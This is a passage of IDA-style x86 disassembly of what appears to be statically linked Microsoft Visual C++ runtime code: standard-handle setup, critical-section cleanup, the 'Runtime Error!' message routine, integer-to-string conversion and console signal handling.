ptr [eax] and ecx, 1 test ecx, ecx jz short loc_42FD30 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] and eax, 8 test eax, eax jnz short loc_42FD00 mov ecx, [ebp+var_60] mov edx, [ecx] push edx call ds:dword_4F5314 ; GetFileType test eax, eax jz short loc_42FD30 loc_42FD00: ; CODE XREF: sub_42FB10+1DEj mov eax, [ebp+var_58] sar eax, 5 mov ecx, [ebp+var_58] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] add edx, ecx mov [ebp+var_50], edx mov eax, [ebp+var_50] mov ecx, [ebp+var_60] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_50] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax+4], dl loc_42FD30: ; CODE XREF: sub_42FB10+1C4j ; sub_42FB10+1D1j ... jmp loc_42FCAB ; --------------------------------------------------------------------------- loc_42FD35: ; CODE XREF: sub_42FB10+98j ; sub_42FB10+A2j ... mov [ebp+var_58], 0 jmp short loc_42FD47 ; --------------------------------------------------------------------------- loc_42FD3E: ; CODE XREF: sub_42FB10:loc_42FE1Fj mov eax, [ebp+var_58] add eax, 1 mov [ebp+var_58], eax loc_42FD47: ; CODE XREF: sub_42FB10+22Cj cmp [ebp+var_58], 3 jge loc_42FE24 mov ecx, [ebp+var_58] imul ecx, 24h mov edx, ds:dword_4F36C0 add edx, ecx mov [ebp+var_50], edx mov eax, [ebp+var_50] cmp dword ptr [eax], 0FFFFFFFFh jnz loc_42FE10 mov ecx, [ebp+var_50] mov byte ptr [ecx+4], 81h cmp [ebp+var_58], 0 jnz short loc_42FD84 mov [ebp+var_6C], 0FFFFFFF6h jmp short loc_42FD94 ; --------------------------------------------------------------------------- loc_42FD84: ; CODE XREF: sub_42FB10+269j mov edx, [ebp+var_58] sub edx, 1 neg edx sbb edx, edx add edx, 0FFFFFFF5h mov [ebp+var_6C], edx loc_42FD94: ; CODE XREF: sub_42FB10+272j mov eax, [ebp+var_6C] push eax call ds:dword_4F549C ; GetStdHandle mov [ebp+var_4C], eax cmp [ebp+var_4C], 0FFFFFFFFh jz short loc_42FDFF mov ecx, [ebp+var_4C] push ecx call ds:dword_4F5314 ; GetFileType mov [ebp+var_54], eax cmp [ebp+var_54], 0 jz short loc_42FDFF mov edx, [ebp+var_50] mov eax, [ebp+var_4C] mov [edx], eax mov ecx, [ebp+var_54] and ecx, 0FFh cmp ecx, 2 jnz short loc_42FDE0 mov edx, [ebp+var_50] mov al, [edx+4] or al, 40h mov ecx, [ebp+var_50] mov [ecx+4], al jmp short loc_42FDFD ; --------------------------------------------------------------------------- loc_42FDE0: ; CODE XREF: sub_42FB10+2BEj mov edx, [ebp+var_54] and edx, 0FFh cmp edx, 3 jnz short loc_42FDFD mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 8 mov edx, [ebp+var_50] mov [edx+4], cl loc_42FDFD: ; CODE XREF: sub_42FB10+2CEj ; sub_42FB10+2DCj jmp short loc_42FE0E ; --------------------------------------------------------------------------- loc_42FDFF: ; CODE XREF: sub_42FB10+295j ; sub_42FB10+2A8j mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 40h mov edx, [ebp+var_50] mov [edx+4], cl loc_42FE0E: ; CODE XREF: sub_42FB10:loc_42FDFDj jmp short loc_42FE1F ; --------------------------------------------------------------------------- loc_42FE10: ; CODE XREF: sub_42FB10+258j mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 80h mov edx, [ebp+var_50] mov [edx+4], cl loc_42FE1F: ; CODE XREF: sub_42FB10:loc_42FE0Ej jmp loc_42FD3E ; --------------------------------------------------------------------------- loc_42FE24: ; CODE XREF: sub_42FB10+23Bj mov eax, ds:dword_4F37C0 push eax call ds:dword_4F5318 ; LockResource mov esp, ebp pop ebp retn sub_42FB10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov dword ptr [ebp-8], 0 jmp short loc_42FE58 ; --------------------------------------------------------------------------- loc_42FE4F: ; CODE XREF: _0:loc_42FED2j mov eax, [ebp-8] add eax, 1 mov [ebp-8], eax loc_42FE58: ; CODE XREF: _0:0042FE4Dj cmp dword ptr [ebp-8], 40h jge short loc_42FED7 mov ecx, [ebp-8] cmp ds:dword_4F36C0[ecx*4], 0 jz short loc_42FED2 mov edx, [ebp-8] mov eax, ds:dword_4F36C0[edx*4] mov [ebp-4], eax jmp short loc_42FE83 ; --------------------------------------------------------------------------- loc_42FE7A: ; CODE XREF: _0:loc_42FEADj mov ecx, [ebp-4] add ecx, 24h mov [ebp-4], ecx loc_42FE83: ; CODE XREF: _0:0042FE78j mov edx, [ebp-8] mov eax, ds:dword_4F36C0[edx*4] add eax, 480h cmp [ebp-4], eax jnb short loc_42FEAF mov ecx, [ebp-4] cmp dword ptr [ecx+8], 0 jz short loc_42FEAD mov edx, [ebp-4] add edx, 0Ch push edx call ds:dword_4F53B0 ; RtlDeleteCriticalSection loc_42FEAD: ; CODE XREF: _0:0042FE9Ej jmp short loc_42FE7A ; --------------------------------------------------------------------------- loc_42FEAF: ; CODE XREF: _0:0042FE95j push 2 mov eax, [ebp-8] mov ecx, ds:dword_4F36C0[eax*4] push ecx call sub_41CA10 add esp, 8 mov edx, [ebp-8] mov ds:dword_4F36C0[edx*4], 0 loc_42FED2: ; CODE XREF: _0:0042FE69j jmp loc_42FE4F ; --------------------------------------------------------------------------- loc_42FED7: ; CODE XREF: _0:0042FE5Cj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FEE0 proc near ; CODE XREF: sub_422270+Cp ; sub_4222A0+Cp push ebp mov ebp, esp cmp ds:dword_4F3368, 1 jz short loc_42FEFE cmp ds:dword_4F3368, 0 jnz short loc_42FF27 cmp ds:dword_451844, 1 jnz short loc_42FF27 loc_42FEFE: ; CODE XREF: sub_42FEE0+Aj push 0FCh call sub_42FF30 add esp, 4 cmp ds:dword_4F3528, 0 jz short loc_42FF1A call ds:dword_4F3528 loc_42FF1A: ; CODE XREF: sub_42FEE0+32j push 0FFh call sub_42FF30 add esp, 4 loc_42FF27: ; CODE XREF: sub_42FEE0+13j ; sub_42FEE0+1Cj pop ebp retn sub_42FEE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FF30 proc near ; CODE XREF: sub_422270+15p ; sub_4222A0+15p ... var_1B0 = byte ptr -1B0h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi push edi mov [ebp+var_8], 0 jmp short loc_42FF4E ; --------------------------------------------------------------------------- loc_42FF45: ; CODE XREF: sub_42FF30:loc_42FF65j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_42FF4E: ; CODE XREF: sub_42FF30+13j cmp [ebp+var_8], 12h jnb short loc_42FF67 mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] cmp edx, ds:dword_4543B8[ecx*8] jnz short loc_42FF65 jmp short loc_42FF67 ; --------------------------------------------------------------------------- loc_42FF65: ; CODE XREF: sub_42FF30+31j jmp short loc_42FF45 ; --------------------------------------------------------------------------- loc_42FF67: ; CODE XREF: sub_42FF30+22j ; sub_42FF30+33j mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] cmp ecx, ds:dword_4543B8[eax*8] jnz loc_4300E8 cmp [ebp+arg_0], 0FCh jz short loc_42FFA4 mov edx, [ebp+var_8] mov eax, ds:off_4543BC[edx*8] push eax push 0 push 0 push 0 push 1 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_42FFA4 int 3 ; Trap to Debugger loc_42FFA4: ; CODE XREF: sub_42FF30+51j ; sub_42FF30+71j cmp ds:dword_4F3368, 1 jz short loc_42FFBF cmp ds:dword_4F3368, 0 jnz short loc_42FFF8 cmp ds:dword_451844, 1 jnz short loc_42FFF8 loc_42FFBF: ; CODE XREF: sub_42FF30+7Bj push 0 lea ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] mov eax, ds:off_4543BC[edx*8] push eax call sub_41BC70 add esp, 4 push eax mov ecx, [ebp+var_8] mov edx, ds:off_4543BC[ecx*8] push edx push 0FFFFFFF4h call ds:dword_4F549C ; GetStdHandle push eax call ds:dword_4F53B4 ; WriteFile jmp loc_4300E8 ; --------------------------------------------------------------------------- loc_42FFF8: ; CODE XREF: sub_42FF30+84j ; sub_42FF30+8Dj cmp [ebp+arg_0], 0FCh jz loc_4300E8 push 104h lea eax, [ebp+var_110] push eax push 0 call ds:off_4F5344 test eax, eax jnz short loc_430031 push offset aProgramNameUnk ; "<program name unknown>" lea ecx, [ebp+var_110] push ecx call sub_41F620 add esp, 8 loc_430031: ; CODE XREF: sub_42FF30+EBj lea edx, [ebp+var_110] mov [ebp+var_C], edx mov eax, [ebp+var_C] push eax call sub_41BC70 add esp, 4 add eax, 1 cmp eax, 3Ch jbe short loc_43007A lea ecx, [ebp+var_110] push ecx call sub_41BC70 add esp, 4 mov edx, [ebp+var_C] lea eax, [edx+eax-3Bh] mov [ebp+var_C], eax push 3 push offset a___ ; "..." mov ecx, [ebp+var_C] push ecx call sub_41E510 add esp, 0Ch loc_43007A: ; CODE XREF: sub_42FF30+11Cj push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " lea edx, [ebp+var_1B0] push edx call sub_41F620 add esp, 8 mov eax, [ebp+var_C] push eax lea ecx, [ebp+var_1B0] push ecx call sub_41F630 add esp, 8 push offset asc_43CF68 ; "\n\n" lea edx, [ebp+var_1B0] push edx call sub_41F630 add esp, 8 mov eax, [ebp+var_8] mov ecx, ds:off_4543BC[eax*8] push ecx lea edx, [ebp+var_1B0] push edx call sub_41F630 add esp, 8 push 12010h push offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library" lea eax, [ebp+var_1B0] push eax call sub_430AA0 add esp, 0Ch loc_4300E8: ; CODE XREF: sub_42FF30+44j ; sub_42FF30+C3j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42FF30 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov dword ptr [ebp-4], 0 jmp short loc_430106 ; --------------------------------------------------------------------------- loc_4300FD: ; CODE XREF: _0:loc_43011Dj mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_430106: ; CODE XREF: _0:004300FBj cmp dword ptr [ebp-4], 12h jnb short loc_43011F mov ecx, [ebp-4] mov edx, [ebp+8] cmp edx, ds:dword_4543B8[ecx*8] jnz short loc_43011D jmp short loc_43011F ; --------------------------------------------------------------------------- loc_43011D: ; CODE XREF: _0:00430119j jmp short loc_4300FD ; --------------------------------------------------------------------------- loc_43011F: ; CODE XREF: _0:0043010Aj _0:0043011Bj mov eax, [ebp-4] mov ecx, [ebp+8] cmp ecx, ds:dword_4543B8[eax*8] jnz short loc_43013A mov edx, [ebp-4] mov eax, ds:off_4543BC[edx*8] jmp short loc_43013C ; --------------------------------------------------------------------------- loc_43013A: ; CODE XREF: _0:0043012Cj xor eax, eax loc_43013C: ; CODE XREF: _0:00430138j mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430140 proc near ; CODE XREF: sub_422400+13p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 push 2 call sub_423280 add esp, 4 mov [ebp+var_8], 3 jmp short loc_430169 ; --------------------------------------------------------------------------- loc_430160: ; CODE XREF: sub_430140:loc_430204j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_430169: ; CODE XREF: sub_430140+1Ej mov ecx, [ebp+var_8] cmp ecx, ds:dword_4F4A20 jge loc_430209 mov edx, [ebp+var_8] mov eax, ds:dword_4F3A14 cmp dword ptr [eax+edx*4], 0 jz short loc_430204 mov ecx, [ebp+var_8] mov edx, ds:dword_4F3A14 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jz short loc_4301C1 mov edx, [ebp+var_8] mov eax, ds:dword_4F3A14 mov ecx, [eax+edx*4] push ecx call sub_41BCF0 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_4301C1 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4301C1: ; CODE XREF: sub_430140+5Dj ; sub_430140+76j cmp [ebp+var_8], 14h jl short loc_430204 mov eax, [ebp+var_8] mov ecx, ds:dword_4F3A14 mov edx, [ecx+eax*4] add edx, 20h push edx call ds:dword_4F53B0 ; RtlDeleteCriticalSection push 2 mov eax, [ebp+var_8] mov ecx, ds:dword_4F3A14 mov edx, [ecx+eax*4] push edx call sub_41CA10 add esp, 8 mov eax, [ebp+var_8] mov ecx, ds:dword_4F3A14 mov dword ptr [ecx+eax*4], 0 loc_430204: ; CODE XREF: sub_430140+44j ; sub_430140+85j jmp loc_430160 ; --------------------------------------------------------------------------- loc_430209: ; CODE XREF: sub_430140+32j push 2 call sub_423320 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_430140 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430220 proc near ; CODE XREF: sub_422610+31Dp ; sub_434EB0+1EFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_430247 cmp [ebp+arg_0], 0 jge short loc_430247 push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_430270 add esp, 10h jmp short loc_43025D ; --------------------------------------------------------------------------- loc_430247: ; CODE XREF: sub_430220+7j ; sub_430220+Dj push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_430270 add esp, 10h loc_43025D: ; CODE XREF: sub_430220+25j mov eax, [ebp+arg_4] pop ebp retn sub_430220 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430270 proc near ; CODE XREF: sub_430220+1Dp ; sub_430220+35p ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_C], 0 jz short loc_430299 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] neg eax mov [ebp+arg_0], eax loc_430299: ; CODE XREF: sub_430270+10j mov ecx, [ebp+var_4] mov [ebp+var_8], ecx loc_43029F: ; CODE XREF: sub_430270+79j mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_8] mov [ebp+var_C], edx mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_8] mov [ebp+arg_0], eax cmp [ebp+var_C], 9 jbe short loc_4302D1 mov edx, [ebp+var_C] add edx, 57h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_4302E5 ; --------------------------------------------------------------------------- loc_4302D1: ; CODE XREF: sub_430270+49j mov edx, [ebp+var_C] add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4302E5: ; CODE XREF: sub_430270+5Fj cmp [ebp+arg_0], 0 ja short loc_43029F mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_4302FA: ; CODE XREF: sub_430270+BCj mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_10], dl mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] mov cl, [ebp+var_10] mov [eax], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jb short loc_4302FA mov esp, ebp pop ebp retn sub_430270 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+10h], 0Ah jnz short loc_430359 cmp dword ptr [ebp+8], 0 jge short loc_430359 mov dword ptr [ebp-4], 1 jmp short loc_430360 ; --------------------------------------------------------------------------- loc_430359: ; CODE XREF: _0:00430348j _0:0043034Ej mov dword ptr [ebp-4], 0 loc_430360: ; CODE XREF: _0:00430357j mov eax, [ebp-4] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_430270 add esp, 10h mov eax, [ebp+0Ch] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_430270 add esp, 10h mov eax, [ebp+0Ch] pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+14h], 0Ah jnz short loc_4303C1 cmp dword ptr [ebp+0Ch], 0 jg short loc_4303C1 jl short loc_4303B8 cmp dword ptr [ebp+8], 0 jnb short loc_4303C1 loc_4303B8: ; CODE XREF: _0:004303B0j mov dword ptr [ebp-4], 1 jmp short loc_4303C8 ; --------------------------------------------------------------------------- loc_4303C1: ; CODE XREF: _0:004303A8j _0:004303AEj ... mov dword ptr [ebp-4], 0 loc_4303C8: ; CODE XREF: _0:004303BFj mov eax, [ebp-4] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_4303F0 mov eax, [ebp+10h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4303F0 proc near ; CODE XREF: _0:004303DCp _0:00430505p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_8] mov [ebp+var_4], eax cmp [ebp+arg_10], 0 jz short loc_430424 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] neg eax mov ecx, [ebp+arg_4] adc ecx, 0 neg ecx mov [ebp+arg_0], eax mov [ebp+arg_4], ecx loc_430424: ; CODE XREF: sub_4303F0+10j mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_43042A: ; CODE XREF: sub_4303F0+9Fj ; sub_4303F0+A7j mov eax, [ebp+arg_C] xor ecx, ecx push ecx push eax mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4214F0 mov [ebp+var_C], eax mov ecx, [ebp+arg_C] xor edx, edx push edx push ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_421480 mov [ebp+arg_0], eax mov [ebp+arg_4], edx cmp [ebp+var_C], 9 jbe short loc_430477 mov edx, [ebp+var_C] add edx, 57h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_43048B ; --------------------------------------------------------------------------- loc_430477: ; CODE XREF: sub_4303F0+6Fj mov edx, [ebp+var_C] add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_43048B: ; CODE XREF: sub_4303F0+85j cmp [ebp+arg_4], 0 ja short loc_43042A jb short loc_430499 cmp [ebp+arg_0], 0 ja short loc_43042A loc_430499: ; CODE XREF: sub_4303F0+A1j mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_4304A8: ; CODE XREF: sub_4303F0+EAj mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_10], dl mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] mov cl, [ebp+var_10] mov [eax], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jb short loc_4304A8 mov esp, ebp pop ebp retn 14h sub_4303F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_4303F0 mov eax, [ebp+10h] pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h push esi cmp dword ptr [ebp+0Ch], 4 jz short loc_430523 cmp dword ptr [ebp+0Ch], 3 jnz short loc_430528 loc_430523: ; CODE XREF: _0:0043051Bj jmp loc_4306F8 ; --------------------------------------------------------------------------- loc_430528: ; CODE XREF: _0:00430521j cmp dword ptr [ebp+8], 2 jz short loc_430544 cmp dword ptr [ebp+8], 15h jz short loc_430544 cmp dword ptr [ebp+8], 16h jz short loc_430544 cmp dword ptr [ebp+8], 0Fh jnz loc_430621 loc_430544: ; CODE XREF: _0:0043052Cj _0:00430532j ... push 1 call sub_423280 add esp, 4 cmp dword ptr [ebp+8], 2 jz short loc_43055A cmp dword ptr [ebp+8], 15h jnz short loc_43059F loc_43055A: ; CODE XREF: _0:00430552j cmp ds:dword_4F353C, 0 jnz short loc_43059F push 1 push offset sub_430740 call ds:dword_4F53F8 ; SetConsoleCtrlHandler cmp eax, 1 jnz short loc_430581 mov ds:dword_4F353C, 1 jmp short loc_43059F ; --------------------------------------------------------------------------- loc_430581: ; CODE XREF: _0:00430573j call ds:dword_4F5360 ; RtlGetLastWin32Error mov esi, eax call sub_429AA0 mov [eax], esi push 1 call sub_423320 add esp, 4 jmp loc_4306F8 ; --------------------------------------------------------------------------- loc_43059F: ; CODE XREF: _0:00430558j _0:00430561j ... mov eax, [ebp+8] mov [ebp-10h], eax mov ecx, [ebp-10h] sub ecx, 2 mov [ebp-10h], ecx cmp dword ptr [ebp-10h], 14h ja short loc_430612 mov eax, [ebp-10h] xor edx, edx mov dl, byte_43071F[eax] jmp off_43070B[edx*4] loc_4305C6: ; DATA XREF: _0:off_43070Bo mov ecx, ds:dword_4F352C mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov ds:dword_4F352C, edx jmp short loc_430612 ; --------------------------------------------------------------------------- loc_4305DA: ; CODE XREF: _0:004305BFj ; DATA XREF: _0:00430713o mov eax, ds:dword_4F3530 mov [ebp-0Ch], eax mov ecx, [ebp+0Ch] mov ds:dword_4F3530, ecx jmp short loc_430612 ; --------------------------------------------------------------------------- loc_4305ED: ; CODE XREF: _0:004305BFj ; DATA XREF: _0:00430717o mov edx, ds:dword_4F3534 mov [ebp-0Ch], edx mov eax, [ebp+0Ch] mov ds:dword_4F3534, eax jmp short loc_430612 ; --------------------------------------------------------------------------- loc_430600: ; CODE XREF: _0:004305BFj ; DATA XREF: _0:0043070Fo mov ecx, ds:dword_4F3538 mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov ds:dword_4F3538, edx loc_430612: ; CODE XREF: _0:004305B2j _0:004305BFj ... push 1 call sub_423320 add esp, 4 jmp loc_4306F3 ; --------------------------------------------------------------------------- loc_430621: ; CODE XREF: _0:0043053Ej cmp dword ptr [ebp+8], 8 jz short loc_430638 cmp dword ptr [ebp+8], 4 jz short loc_430638 cmp dword ptr [ebp+8], 0Bh jz short loc_430638 jmp loc_4306F8 ; --------------------------------------------------------------------------- loc_430638: ; CODE XREF: _0:00430625j _0:0043062Bj ... call sub_428EE0 mov [ebp-4], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], offset dword_454308 jnz short loc_430695 push 133h push offset aWinsig_c ; "winsig.c" push 2 mov ecx, ds:dword_454388 push ecx call sub_41BE70 add esp, 10h mov edx, [ebp-4] mov [edx+50h], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], 0 jz short loc_430693 mov ecx, ds:dword_454388 push ecx push offset dword_454308 mov edx, [ebp-4] mov eax, [edx+50h] push eax call sub_41FBF0 add esp, 0Ch jmp short loc_430695 ; --------------------------------------------------------------------------- loc_430693: ; CODE XREF: _0:00430674j jmp short loc_4306F8 ; --------------------------------------------------------------------------- loc_430695: ; CODE XREF: _0:0043064Aj _0:00430691j mov ecx, [ebp-4] mov edx, [ecx+50h] push edx mov eax, [ebp+8] push eax call sub_430A20 add esp, 8 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_4306B3 jmp short loc_4306F8 ; --------------------------------------------------------------------------- loc_4306B3: ; CODE XREF: _0:004306AFj mov ecx, [ebp-8] mov edx, [ecx+8] mov [ebp-0Ch], edx loc_4306BC: ; CODE XREF: _0:loc_4306F1j mov eax, [ebp-8] mov ecx, [eax+4] cmp ecx, [ebp+8] jnz short loc_4306F3 mov edx, [ebp-8] mov eax, [ebp+0Ch] mov [edx+8], eax mov ecx, [ebp-8] add ecx, 0Ch mov [ebp-8], ecx mov edx, ds:dword_45438C imul edx, 0Ch mov eax, [ebp-4] mov ecx, [eax+50h] add ecx, edx cmp [ebp-8], ecx jb short loc_4306F1 jmp short loc_4306F3 ; --------------------------------------------------------------------------- loc_4306F1: ; CODE XREF: _0:004306EDj jmp short loc_4306BC ; --------------------------------------------------------------------------- loc_4306F3: ; CODE XREF: _0:0043061Cj _0:004306C5j ... mov eax, [ebp-0Ch] jmp short loc_430706 ; --------------------------------------------------------------------------- loc_4306F8: ; CODE XREF: _0:loc_430523j ; _0:0043059Aj ... call sub_429A90 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh loc_430706: ; CODE XREF: _0:004306F6j pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- off_43070B dd offset loc_4305C6 ; DATA XREF: _0:004305BFr dd offset loc_430600 dd offset loc_4305DA dd offset loc_4305ED dd offset loc_430612 byte_43071F db 0 ; DATA XREF: _0:004305B9r dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430740 proc near ; DATA XREF: _0:00430565o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push 1 call sub_423280 add esp, 4 cmp [ebp+arg_0], 0 jnz short loc_43076E mov [ebp+var_8], offset dword_4F352C mov eax, [ebp+var_8] mov ecx, [eax] mov [ebp+var_C], ecx mov [ebp+var_4], 2 jmp short loc_430784 ; --------------------------------------------------------------------------- loc_43076E: ; CODE XREF: sub_430740+14j mov [ebp+var_8], offset dword_4F3530 mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_C], eax mov [ebp+var_4], 15h loc_430784: ; CODE XREF: sub_430740+2Cj cmp [ebp+var_C], 0 jnz short loc_430798 push 1 call sub_423320 add esp, 4 xor eax, eax jmp short loc_4307CC ; --------------------------------------------------------------------------- loc_430798: ; CODE XREF: sub_430740+48j cmp [ebp+var_C], 1 jz short loc_4307BD mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 push 1 call sub_423320 add esp, 4 mov edx, [ebp+var_4] push edx call [ebp+var_C] add esp, 4 jmp short loc_4307C7 ; --------------------------------------------------------------------------- loc_4307BD: ; CODE XREF: sub_430740+5Cj push 1 call sub_423320 add esp, 4 loc_4307C7: ; CODE XREF: sub_430740+7Bj mov eax, 1 loc_4307CC: ; CODE XREF: sub_430740+56j mov esp, ebp pop ebp retn 4 sub_430740 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4307E0 proc near ; CODE XREF: sub_4229A0+2E7p ; sub_433010+Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov [ebp+var_20], eax mov ecx, [ebp+var_20] sub ecx, 2 mov [ebp+var_20], ecx cmp [ebp+var_20], 14h ja loc_4308AE mov eax, [ebp+var_20] xor edx, edx mov dl, byte_430A02[eax] jmp off_4309EA[edx*4] loc_430818: ; DATA XREF: _0:off_4309EAo mov [ebp+var_18], offset dword_4F352C mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp loc_4308B6 ; --------------------------------------------------------------------------- loc_430835: ; CODE XREF: sub_4307E0+31j ; DATA XREF: _0:004309F6o mov [ebp+var_18], offset dword_4F3530 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_4308B6 ; --------------------------------------------------------------------------- loc_43084F: ; CODE XREF: sub_4307E0+31j ; DATA XREF: _0:004309FAo mov [ebp+var_18], offset 